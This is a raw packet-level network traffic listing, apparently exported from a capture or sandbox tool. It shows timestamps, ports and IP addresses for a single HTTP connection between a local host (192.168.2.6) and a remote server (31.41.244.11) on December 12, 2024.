Dec 12, 2024 21:50:50.536505938 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.536681890 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.536681890 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.536708117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.536863089 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.537065029 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.537831068 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.537930965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.538470984 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.538978100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.539021015 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.539136887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.539176941 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.540149927 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.540194988 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.540236950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.540276051 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.541292906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.541389942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.547440052 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.674312115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.674330950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.674597025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.674889088 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.675010920 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.676130056 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.676172018 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.677254915 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.677325964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.678297043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.678406954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.679506063 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.679599047 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.680603981 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.680697918 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.681826115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.681853056 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.682101965 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.682952881 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.683042049 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.684070110 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.684206963 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.685224056 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.685309887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.685952902 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.685981035 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.685981989 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.686367989 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.686470985 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.687535048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.687638044 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.688643932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.688745975 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.689798117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.689920902 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.690939903 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.691041946 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.692112923 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.692210913 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.693295002 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.693406105 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.693734884 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.693942070 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.694396973 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.694520950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.695589066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.695638895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.696814060 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.696892977 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.697858095 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.698015928 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.698839903 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.698980093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.699122906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.700139046 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.700243950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.701364994 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.701411963 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.702068090 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.702455044 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.702564001 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.703476906 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.704039097 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.704054117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.704787016 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.704811096 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.704835892 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.704879999 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.705902100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.705985069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.707072020 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.707185030 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.708268881 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.708360910 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.709346056 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.709448099 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.710522890 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.710621119 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.711675882 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.711771965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.712893009 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.712973118 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.713960886 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.714088917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.715095997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.715261936 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.716269016 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.716444969 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.717725039 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.717777967 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.718573093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.718672991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.719707012 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.719810009 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.720885038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.721050978 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.722043991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.722100019 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.722304106 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.723198891 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.723267078 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.724312067 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.724399090 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.725451946 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.725559950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.726602077 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.726675034 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.727752924 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.727864027 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.728933096 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.728995085 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.730043888 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.730142117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.731292963 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.731426954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.732490063 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.732548952 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.733515024 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.733570099 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.741595984 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.741678953 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.741700888 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.742501020 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.744757891 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.876822948 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.876869917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.877300024 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.877310038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.877355099 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.877434015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.878443003 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.878565073 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.879666090 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.880204916 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.880325079 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.881433964 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.881732941 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.881787062 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.882909060 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.883028030 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.883862972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.884033918 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.884062052 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.885246992 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.885345936 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.886233091 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.886369944 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.887289047 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.887435913 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.888187885 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.888287067 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.889156103 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.889270067 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.890259027 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.890326977 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.891429901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.891531944 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.892571926 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.892642975 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.893733025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.893769979 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.894880056 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.894996881 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.896069050 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.896172047 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.897171021 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.897288084 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.898402929 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.898621082 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.899466991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.899597883 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.900671959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.900924921 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.901851892 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.902025938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.902916908 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.903033972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.904053926 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.904234886 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.904355049 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.905231953 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.905287981 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.906390905 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.906486034 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.907540083 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.907598019 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.908672094 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.908780098 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.909859896 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.909894943 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.910990953 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.911084890 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.912152052 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.912208080 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.913300991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.913336039 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.914459944 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.914591074 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.915599108 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.915632963 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.916753054 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.916897058 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.917897940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.917946100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.919095039 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.919167042 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.920213938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.920258045 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.921314955 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.921385050 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.922525883 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.922560930 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.923624039 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.923695087 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.924359083 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.924757957 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.924889088 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.924961090 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.925018072 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.925107002 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.925237894 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.925678968 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.925708055 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.925735950 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.925908089 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.926009893 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.926213026 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.927059889 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.927162886 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.927428007 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.928234100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.928394079 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.928400993 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.928431034 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.929409981 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.929533005 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.929543972 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.930641890 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.930843115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.931845903 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.931946993 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.933015108 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.933161974 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.934031963 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.934084892 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.935132027 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.935281038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.936280012 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.936332941 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.936357975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.936393023 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.936518908 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.077090979 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.077172995 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.077244043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.077291012 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.077522039 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.077569008 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.077756882 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.077801943 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.077912092 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.077953100 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.079133034 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.079169035 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.079191923 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.079204082 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.080080986 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.080132008 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.080313921 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.080358028 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.081278086 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.081326962 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.081331015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.081370115 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.082386017 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.082432985 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.082520962 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.082565069 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.083549023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.083596945 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.083668947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.083720922 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.084664106 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.084712982 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.084738970 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.084791899 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.085814953 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.085865021 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.085937977 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.085983992 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.086946964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.086998940 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.087127924 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.087172031 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.088140965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.088181019 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.088246107 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.088295937 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.089267969 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.089317083 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.089437008 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.089481115 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.090526104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.090581894 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.090774059 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.090816975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.091628075 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.091675043 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.091741085 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.091794014 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.093044043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.093080044 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.093096018 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.093126059 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.093915939 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.093967915 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.094006062 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.094049931 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.095016003 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.095076084 CET	49971	80	192.168.2.6	31.41.244.11
